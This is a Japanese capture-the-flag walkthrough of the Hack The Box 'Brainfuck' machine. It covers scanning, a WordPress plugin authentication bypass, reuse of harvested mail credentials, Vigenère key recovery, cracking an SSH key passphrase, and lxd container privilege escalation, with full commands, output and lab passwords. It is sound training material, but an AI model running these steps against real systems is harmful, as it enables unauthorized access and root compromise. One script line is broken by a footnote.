偵察/スキャン
nmapでスキャンします。
┌──(kali㉿kali)-[~] └─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.17 Starting Nmap 7.93 ( https://nmap.org ) Nmap scan report for 10.10.10.17 Host is up (0.18s latency). Not shown: 65530 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA) | 256 6bd5dc153a667af419915d7385b24cb2 (ECDSA) |_ 256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519) 25/tcp open smtp Postfix smtpd |_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: PIPELINING USER CAPA TOP RESP-CODES UIDL AUTH-RESP-CODE SASL(PLAIN) 143/tcp open imap Dovecot imapd |_imap-capabilities: IMAP4rev1 more OK ID AUTH=PLAINA0001 have capabilities listed ENABLE Pre-login SASL-IR post-login LOGIN-REFERRALS LITERAL+ IDLE 443/tcp open ssl/https nginx/1.10.0 (Ubuntu) | ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR | Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb | Not valid before: 2017-04-13T11:19:29 |_Not valid after: 2027-04-11T11:19:29 |_ssl-date: TLS randomness does not represent time |_http-server-header: nginx/1.10.0 (Ubuntu) |_http-title: Welcome to nginx! | tls-nextprotoneg: |_ http/1.1 | tls-alpn: |_ http/1.1 Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
TCP/443が開いています。
ブラウザでアクセスすると以下のようなページが表示されます。
証明書の情報を見ると、SAN(Subject Alternative Name)に別のホスト名が記載されているので、/etc/hostsに追記します。
ブラウザでアクセスした際に、WordPressで作成されたサイトであることが確認できました。(赤字)
wpscanで情報を収集します。
┌──(kali㉿kali)-[~] └─$ wpscan --disable-tls-checks --url https://brainfuck.htb --enumerate ______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [i] User(s) Identified: [+] admin | Found By: Author Posts - Display Name (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] administrator | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [i] Plugin(s) Identified: [+] wp-support-plus-responsive-ticket-system | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/ | Last Updated: 2019-09-03T07:57:00.000Z | [!] The version is out of date, the latest version is 9.1.2 | | Found By: Urls In Homepage (Passive Detection) | | Version: 7.1.3 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
使用しているユーザと、脆弱性のあるプラグインが確認できました。
参考:wpscanのオプションについて
--url: スキャン対象のURLを指定します。
--enumerate: スキャン結果から脆弱性、プラグイン、テーマなどの詳細情報を取得します。
--plugins-version: インストールされているプラグインのバージョンを取得します。
--themes-version: インストールされているテーマのバージョンを取得します。
--update: インストールされているWordPress、プラグイン、テーマの最新バージョンを取得します。
--threads: スキャン時のスレッド数を指定します。
アクセス取得
プラグインの脆弱性情報を調べると以下の情報が見つかりました。
descriptionに記載のある内容を読むと、wp_set_auth_cookie() の使い方が間違っているため、パスワードを知らなくても誰でもログインできます。といったことが書かれています。
上記の記載内容に従いhtmlを作成します。action内のURLをbrainfuckに指定します。
Kali上でWebサーバをたちあげ、自分自身へアクセスします。
その後ログインし、再びbrainfuckに戻るとadminでログインした状態となります。
管理画面より、PluginをたどるとEasy WP SMTPが見つかります。
設定内容を見るとユーザアカウントとパスワードが確認できました。
上記アカウントをもとにTelnetでメールサーバにアクセスします。
telnet brainfuck.htb 143
a LOGIN orestis kHGuERB29DNiNE
a OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SPECIAL-USE] Logged in
b LIST "" "*"
* LIST (\HasNoChildren) "/" INBOX
c EXAMINE INBOX
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS ()] Read-only mailbox.
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1493461609] UIDs valid
* OK [UIDNEXT 5] Predicted next UID
* OK [HIGHESTMODSEQ 4] Highest
d FETCH 1 BODY
* 1 FETCH (BODY {977}
Return-Path: <www-data@brainfuck.htb>
X-Original-To: orestis@brainfuck.htb
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 33)
id 7150023B32; Mon, 17 Apr 2017 20:15:40 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: New WordPress Site
X-PHP-Originating-Script: 33:class-phpmailer.php
Date: Mon, 17 Apr 2017 17:15:40 +0000
From: WordPress <wordpress@brainfuck.htb>
Message-ID: <00edcd034a67f3b0b6b43bab82b0f872@brainfuck.htb>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Your new WordPress site has been successfully set up at:
https://brainfuck.htb
You can log in to the administrator account with the following information:
Username: admin
Password: The password you chose during the install.
Log in here: https://brainfuck.htb/wp-login.php
We hope you enjoy your new site. Thanks!
--The WordPress Team
https://wordpress.org/
)
※IMAPのコマンドはコマンドの前に何か文字を入れないといけないようです。
2つ目のメールでフォーラムのアカウント情報が確認できました。
上記アカウントでフォーラムにアクセスしスレッドを読むと、何やらもめているようなやり取りに加え、SSHのキーを別スレで受け渡すような内容が見れます。
別スレに移ると以下のようなメッセージが残っていました。
以下のサイトで署名と思われる文章を解析すると、ビジュネル暗号であることがわかりました。
Pieagnm - Jkoijeg nbw zwx mle grwsnn
ビジュネル暗号は既知の平文攻撃に対して脆弱であるためキーを推測できます。
以下のPythonスクリプトでキーを探索しました。
#!/bin/python
plain = "OrestisHackingforfunandprofit"
encrypted = "PieagnmJkoijegnbwzwxmlegrwsnn"
password = ""
for i in range(len(plain)):
x = *1 % 26) + 97
char = chr(x)
password = password + char
print (password)
上記を実行すると以下の結果が得られます。
キーが「fuckmybrain」であることがわかります。
┌──(kali㉿kali)-[~]
└─$ python3 vijunel.py
brainfuckmybrainfuckmybrainfu
上記のキーでメッセージを複合するとid_rsa鍵が取得できます。
mnvze://10.10.10.17/8zb5ra10m915218697q1h658wfoq0zc8/frmfycu/sp_ptr
https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
上記のid_rsa鍵は暗号化されているのでSSH鍵を探索します。
John The Ripperでいろいろなパスワードを調べる - Speaker Deck
python3 ssh2john.py id_rsa > id_rsa.hash
上記よりSSH鍵が「3poulakia!」であることがわかります。
上記のSSH鍵を使用してSSHアクセスするとシェルが取得できました。
特権昇格
SSHアクセス後linpeas.shを実行します。
現在のユーザ「orestis」は「lxd」グループのメンバです。
lxdに所属するユーザはsudo権限を付与されてなくとも、パスワードも不要でroot権限に即座にエスカレートできます。
(とはいっても、これ以降の手順は理解できていませんが・・・)
kali側の作業
┌──(kali㉿kali)-[~/distrobuilder] └─$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine raw.githubusercontent.com (raw.githubusercontent.com) をDNSに問いあわせています... 185.199.108.133, 185.199.109.133, 185.199.110.133, ... raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 8060 (7.9K) [text/plain] `build-alpine.1' に保存中 build-alpine.1 100%[====================================================>] 7.87K --.-KB/s 時間 0s `build-alpine.1' へ保存完了 [8060/8060] ┌──(kali㉿kali)-[~/distrobuilder] └─$ sudo bash build-alpine Determining the latest release... v3.17 Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.17/main/x86_64 Downloading alpine-keys-2.4-r1.apk tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 Downloading apk-tools-static-2.12.10-r1.apk tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 tar: 未知の拡張ヘッダキーワード 'APK-TOOLS.checksum.SHA1' を無視 alpine-devel@lists.alpinelinux.org-6165ee59.rsa.pub: 完了 Verified OK % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2565 100 2565 0 0 552 0 0:00:04 0:00:04 --:--:-- 552 alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com) をDNSに問いあわせています... 93.187.10.106, 2a00:1f00:dc06:10::106 alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.106|:80 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 2565 (2.5K) [text/plain] `/home/kali/distrobuilder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt' に保存中 /home/kali/distrobuilder/rootfs 100%[====================================================>] 2.50K --.-KB/s 時間 0s `/home/kali/distrobuilder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt' へ保存完了 [2565/2565] Selecting mirror http://mirror.ps.kz/alpine//v3.17/main fetch http://mirror.ps.kz/alpine//v3.17/main/x86_64/APKINDEX.tar.gz (1/25) Installing alpine-baselayout-data (3.4.0-r0) (2/25) Installing musl (1.2.3-r4) (3/25) Installing busybox (1.35.0-r29) Executing busybox-1.35.0-r29.post-install (4/25) Installing busybox-binsh (1.35.0-r29) (5/25) Installing alpine-baselayout (3.4.0-r0) Executing alpine-baselayout-3.4.0-r0.pre-install Executing alpine-baselayout-3.4.0-r0.post-install (6/25) Installing ifupdown-ng (0.12.1-r1) (7/25) Installing libcap2 (2.66-r0) (8/25) Installing openrc (0.45.2-r7) Executing openrc-0.45.2-r7.post-install (9/25) Installing mdev-conf (4.3-r0) (10/25) Installing busybox-mdev-openrc (1.35.0-r29) (11/25) Installing alpine-conf (3.15.0-r0) (12/25) Installing alpine-keys (2.4-r1) (13/25) Installing alpine-release (3.17.1-r0) (14/25) Installing ca-certificates-bundle (20220614-r4) (15/25) Installing libcrypto3 (3.0.7-r2) (16/25) Installing libssl3 (3.0.7-r2) (17/25) Installing ssl_client (1.35.0-r29) (18/25) Installing zlib (1.2.13-r0) (19/25) Installing apk-tools (2.12.10-r1) (20/25) Installing busybox-openrc (1.35.0-r29) (21/25) Installing busybox-suid (1.35.0-r29) (22/25) Installing scanelf (1.3.5-r1) (23/25) Installing musl-utils (1.2.3-r4) (24/25) Installing libc-utils (0.7.2-r3) (25/25) Installing alpine-base (3.17.1-r0) Executing busybox-1.35.0-r29.trigger OK: 10 MiB in 25 packages ┌──(kali㉿kali)-[~/distrobuilder] └─$ sudo python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...た
brainfuck側での操作
orestis@brainfuck:/tmp$ wget http://10.10.14.36/alpine-v3.17-x86_64-20230202_1313.tar.gz Connecting to 10.10.14.36:80... connected. HTTP request sent, awaiting response... 200 OK Length: 3777108 (3.6M) [application/gzip] Saving to: ‘alpine-v3.17-x86_64-20230202_1313.tar.gz’ alpine-v3.17-x86_64-20230202_13 100%[====================================================>] 3.60M 779KB/s in 5.4s ‘alpine-v3.17-x86_64-20230202_1313.tar.gz’ saved [3777108/3777108] orestis@brainfuck:/tmp$ lxc image import ./alpine-v3.17-x86_64-20230202_1313.tar.gz --alias myimage Generating a client certificate. This may take a minute... If this is your first time using LXD, you should also run: sudo lxd init To start your first container, try: lxc launch ubuntu:16.04 Image imported with fingerprint: bfc788ce632ef999e984eed6bccc4713ddb4e0737f075815638021925a3e5410 orestis@brainfuck:/tmp$ lxc image list +---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE | +---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+ | myimage | bfc788ce632e | no | alpine v3.17 (20230202_13:13) | x86_64 | 3.60MB | Feb 2, 2023 at 4:31am (UTC) | +---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+ orestis@brainfuck:/tmp$ lxc init myimage wolf -c security.privileged=true Creating wolf orestis@brainfuck:/tmp$ lxc config device add wolf mydevice disk source=/ path=/mnt/root recursive=true Device mydevice added to wolf orestis@brainfuck:/tmp$ lxc start wolf orestis@brainfuck:/tmp$ lxc exec wolf /bin/sh ~ # whoami root ~ # cd /mnt/root/root /mnt/root/root # ls root.txt
参考にさせていただいたサイト
貴重な情報をありがとうございます。
*1:ord(encrypted[i]) - ord(plain[i]